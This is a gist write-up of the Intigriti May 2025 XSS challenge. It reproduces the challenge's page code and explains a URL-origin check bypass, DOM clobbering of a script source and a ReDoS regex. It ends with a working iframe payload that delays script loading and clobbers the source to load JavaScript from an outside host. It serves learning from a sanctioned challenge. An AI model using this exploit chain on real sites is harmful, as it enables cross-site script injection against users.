Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active May 17, 2025 10:18
Show Gist options
  • Save Siss3l/d6caf94a4789be2ba729f8fbaeb21307 to your computer and use it in GitHub Desktop.
Save Siss3l/d6caf94a4789be2ba729f8fbaeb21307 to your computer and use it in GitHub Desktop.
Intigriti May 2025 XSS Challenge @joaxcar

Intigriti May 2025 XSS Challenge

Chall

Description

The solution:

  • Should pop alert;
  • Should not be self-XSS or related to MiTM attacks;
  • Should leverage a cross site scripting vulnerability on this domain;
  • Not allowed to use a previous XSS challenge in order to solve this one;
  • Should work on the latest version of FireFox and Chromium (not Safari).

Analyze

This web challenge allows us to use a name:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Intigriti May 2025 Challenge</title>
    <script src="./3.2.5-purify.min.js"></script>
  </head>
  <body>
    <div class="challenge-container" id="challenge-container">
      <h1>What is your name?</h1>
      <form method="GET" action="index.html">
        <input type="text" name="name" placeholder="Enter your name" required><br>
        <input type="submit" value="Submit">
      </form>
      <div id="message"></div>
    </div>
    <script src="script.js"></script>
  </body>
</html>
<script>
// script.js
function safeURL(url) { 
  let normalizedURL = new URL(url, location)
  return normalizedURL.origin === location.origin
}
function addDynamicScript() {
  const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"
  if (safeURL(src)) {
    const script = document.createElement("script");
    script.src = new URL(src);
    document.head.appendChild(script);
  }
}
(function() {
  const params = new URLSearchParams(window.location.search);
  const name = params.get("name");
  if (name && name.match(/([a-zA-Z0-9]+|\s)+$/)) {
    const messageDiv = document.getElementById("message");
    const spinner = document.createElement("div");
    spinner.classList.add("spinner");
    messageDiv.appendChild(spinner);
    fetch(`/message?name=${encodeURIComponent(name)}`).then(response => response.text()).then(data => {
      spinner.remove(); messageDiv.innerHTML = DOMPurify.sanitize(data);
    }).catch(err => {
      spinner.remove();
      messageDiv.innerHTML = "Error fetching message.";
      console.error("Error fetching message:", err);
    });  
  } else if(name) {
    const messageDiv = document.getElementById("message");
    messageDiv.innerHTML = "Error when parsing name";
  }
  requestIdleCallback(addDynamicScript);
})();
// style.js (defer)
document.addEventListener("DOMContentLoaded", (event) => { 
  document.getElementById("writeupInfo").addEventListener("click", function (event) {
    event.preventDefault();
    document.getElementById("challenge-text").style.display = "none";
    document.getElementById("writeup-text").style.display = "block";
  });
  document.getElementById("backLink").addEventListener("click", function (event) {
    event.preventDefault();
    document.getElementById("writeup-text").style.display = "none";
    document.getElementById("challenge-text").style.display = "block";
  });
});
// const observer = new MutationObserver(callback);
// observer.observe(targetNode, config);
// $name = $_POST["name"];
</script>

Resolution

We quickly find glaring problems in the challenge on Express:

Vulnerable Code Explanation Example
function safeURL(url) The code creates a new URL object from the provided url, using the current location as the base. It then checks if the origin of the constructed URL matches the current page's origin. When parsing URLs confusion can arise due to inconsistencies between different URL parsers and their handling of non-standard or malformed URLs. https:evil.com
function addDynamicScript() DOM clobbering occurs when an attacker injects elements with specific id or name attributes into the DOM, which can overwrite or "clobber" global variables or properties, leading to unexpected behavior or security issues. "window.CONFIG_SRC" is expected to be a DOM element. If an attacker injects an element with id="CONFIG_SRC", window.CONFIG_SRC will refer to that element-even if the developer never defined it. The attacker can then control dataset["url"], making src point to a malicious script. <div id="CONFIG_SRC" data-url="https://evil.com/evil.js"></div>
(name && name.match(/([a-zA-Z0-9]+%7C\s)+$/)) ReDoS (Regular Expression Denial of Service) is a vulnerability where an attacker provides specially crafted input that causes a regular expression to take an extremely long time to evaluate, potentially freezing or crashing the application. This regex is vulnerable to catastrophic backtracking. 00000000000000000000000000%00

RFC

All that is left is to put these tricks together to make a valid uncached payload running on Chromium and FireFox browsers.
Since any iframe share the same original thread, we can load the previously found ReDos to delay the main thread in order to inject our code before the requestIdleCallback execution, while clobbering to our domain as bypassing the origin check.

<body/onload="
(f=>[f,...Array(5).fill('0'.repeat(26)+'!'),f])('<p/data-url=https:nj.rs id=CONFIG_SRC>a').forEach(p=>{
with(document)body.appendChild(createElement('iframe')).src=`//challenge-0525.intigriti.io/index.html?name=${p}`
})"</body>

Wait

Appendix

There are surely other delaying possibilities as well as unintended clobbering to look for but we have already achieved the main part.

Bye

Comments are disabled for this gist.